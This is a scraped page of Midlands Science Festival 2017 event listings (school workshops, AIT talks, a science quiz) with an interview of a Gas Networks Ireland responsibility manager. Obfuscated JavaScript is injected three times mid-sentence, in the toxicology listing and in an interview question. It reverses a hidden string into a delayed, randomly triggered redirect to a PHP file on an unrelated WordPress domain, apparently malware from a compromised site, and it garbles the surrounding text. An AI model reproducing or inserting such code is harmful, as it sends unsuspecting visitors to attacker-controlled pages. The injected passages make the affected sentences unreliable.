Google CS First Taster workshops

 

Date & Time :  Wednesday, November 15th, 9am to 4pm.

Location : Loret to College, Mullingar, Co. Westmeath.

Event : Google CS First Taster workshops

Google CS first taster workshops are based on real world themes and aim to engage students of varying interests – S torytelling, Fashion & Design, Sports, Animation , Art, Music & Sound, Game Design, Friends and Social Media.  With the help of their teachers , students can then further avail of the google online CS Education to develop their Computer Science skills. These workshops are now fully booked. 

Geological Survey of Ireland Workshops

Date & Time :  Wednesday, November 15th, 9am to 3pm.

Location : Cloneragh National School, Co. Laois.

Event : Geological Survey of Ireland Workshops

A series of workshops for all ages in primary school exploring the shape of the earth, simple fossils, different environments of the world and an introduction to water resources.

The Irish Science Teachers Association Senior Science Quiz Regional Round

 

Date & Time : Thursday, November 16th, 7 to 10pm

Location : Department of Nursing & Healthcare Building, East Campus, Athlone Institute of Technolgoy, Dublin Road, Athlone, Co. Westmeath.

Event : The Regional Round of The Irish Science Teachers Association Senior Science Quiz

This event is an ISTA members only event and the AIT contact is sreidy@ait.ie. The regional rounds of this ISTA quiz will have questions drawn from chemistry, physics, biology syllabi and general scientific knowledge.

 

 

Fermented Foods

Date & Time : Wednesday, November 15th, 3 to 5pm.

Location : HTL Building, Main Campus, Athlone Institute of Technolgoy, Dublin Road, Athlone, Co. Westmeath.

Event : Fermented Foods

There is now a strong interest in probiotic foods and these talks aim to show how to create probiotic foods from simpler larder ingredients and highlight the possible benefits of these foods.Booking chmccormack@ait.ie

The Ecology and Science of Rehabilitation of Bord na Mona Cutaway Peatlands

Date & Time : Tuesday November 14th, 6.30 to 7.30pm.

Location :Department of Life and Physical Sciences, Main Campus, Faculty of Science and Health, Athlone Institute of Technology, Dublin Road, Athlone, Co. Westmeath.

Event : The Ecology and Science of Rehabilitation of Bord na Mona Cutaway Peatlands

Irish bogs sustain a variety of flora and fauna and are listed in the Habitats Directive. Bord na Mona have begun an extensive rehabilitation of these bogs, aiming to rebuild the habitats and enhance wildlife. This presentation will share the science behind the development of biodiversity plans and bog rehabilitation. Booking chmccormack@ait.ie

Go Fly A Kite – The Science of Flight

Date & Time : Friday November 17th, 9am to 2pm

Location : St Joseph’s National School, Tullamore, Co. Offaly.

Event : Go Fly A Kite – The Science of Flight

A series of workshops exploring the science of flight and kites and the opportunity to make some kites and fly them. A hands on experience of the science and engineering of flight.

Careers Workshop

Date & Time: Tuesday November 14th
Location: Athlone Community College, Athlone, Co. Westmeath.

Event: Careers Workshop

Careers workshop with Cpl and AIt exploring various study options and career choices in science, technology, engineering and maths. This event is now fully booked.

Poisons & Potions – Exploring Toxicology

Date & Time: Friday November 17th.

Location: Killina Presentation School, Rahan,  Tullamore, Co. Offaly.

Event: Exploring Toxicology

Exploring toxicology study and careers with science communica tor Dr Craig Slattery. Toxicology is the study of poisons, drawing heavily on life and physical sciences, as well as being an applied practically-based subject. It’s not everything you might expect, many foods contain poisons and toxins. Bitter almonds, for example, contain traces of cyanide – the lethal $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dose for an adult is about 50 almonds, whereas a child would only need to consume 5-10 almonds. Fortunately, bitter almonds are heat-treated, removing the poisonous compounds and making them safe for consumption. Cherry pits, certain mushrooms, pota toes and rhubarb also contain toxins that could prove fatal if consumed in large amounts. This event is now fully booked.

The younger we reach students the better!

Gas Networks Ireland celebrate Engineer’s Week.
Picture by Shane O’Neill Pho tography.

For our festival 2017 we have partnered with a number of extremely supportive organisations including Gas Networks Ireland to create opportunities which aim to excite students about science. Gas Networks Ireland is committed to responsible business practice, ensuring that environmental, ethical and social principles are at the core of its business decisions and are key to its business strategy. We are most grateful for the support and enthusiasm our partners and sponsors provide to enable us to spread the science message and without their help our festival would not be possible. We caught up with Corporate Social Responsibility Manager for Gas Networks Ireland, Christina van der Kamp for a chat earlier this week..

Christina, we are delighted to be partnering with Gas Networks Ireland this year to help make the Midlands Science Festival 2017 a great success. Can you tell us a little about your role in Gas Networks Ireland?

As Corporate Responsibility (CR) Manager for Gas Networks Ireland (GNI) much of my role involves working with colleagues to ensure that CR is high on the agenda right across the business. I am also responsible for all community activity for GNI. Our CR programme is wide-reaching and about so much more than simply volunteering and sponsorship! It influences many areas of our business and revolves around the five CR pillars of Community, Environment, Workplace, Marketplace and Governance.

Gas Networks Ireland holds the ‘Business Working Responsibly’ Mark for responsible and sustainable business practices. One of the first companies to be granted certification in 2013, we are still one of only 25 companies in Ireland that hold the Mark. For us, this is a clear demonstration of our commitment to CR and it’s something we’re especially proud of! Recently, we completed a three year CR strategy identifying priorities under each of the CR pillars, with the aim of further integrating CR with the strategic mission and vision of Gas Networks Ireland.

Do you have a science background?

My background is in communications, I have a degree in Media Production Management and a Masters in Science Communication. The Masters explores social issues in science and technology, and the communications and controversies surrounding them. It gave me a great grasp of the social significance of science in society and the importance of demystifying careers in science to young people.

Do Gas Networks Ireland support other STEM related educational programmes?

Education in particular has been a major focus of our community programmes to date. With Science, Technology, Engineering and Maths (STEM) at the core of our business, Gas Networks Ireland delivers a programme called ‘Our Universe’ to over 5,000 primary school kids in partnership with Junior Achievement Ireland. This science education programme is delivered by volunteers from different organisations across the country annually. The purpose of the programme is to influence and encourage students to continue with science in secondary school and beyond. We also hold events on Engineers Week and exhibited at the iWish conference this year.

Recent data shows that Ireland continues to experience a skills shortage in the STEM sec tor. Why is it important for companies like Gas Networks Ireland to support events like the Midlands Science Festival and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you think we can $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do to keep dispelling the myth that science is difficult?

As an engineering organisation, it’s hugely important that we support events like the Midlands Science Festival. We relish our role of encouraging the workforce of tomorrow! Events like the Midlands Science Festival and programmes like Our Universe introduce science in an informative yet appealing way and play an important part in having a positive influence on students’ perception of science. The younger we reach students the better!

Healthy Eating – myths, science and experiments

Date & Time: Wednesday November 15th

Location: Gallen Community School, Ferbane, Co. Offaly

Event: Nutrition and health workshop and citizen science project.

Workshop with UCD’s Food For Health Institute exploring the various nutrition myths that we encounter and also the science behind healthy eating. This will also include a Citizen Science project with students exploring sweetness and taste.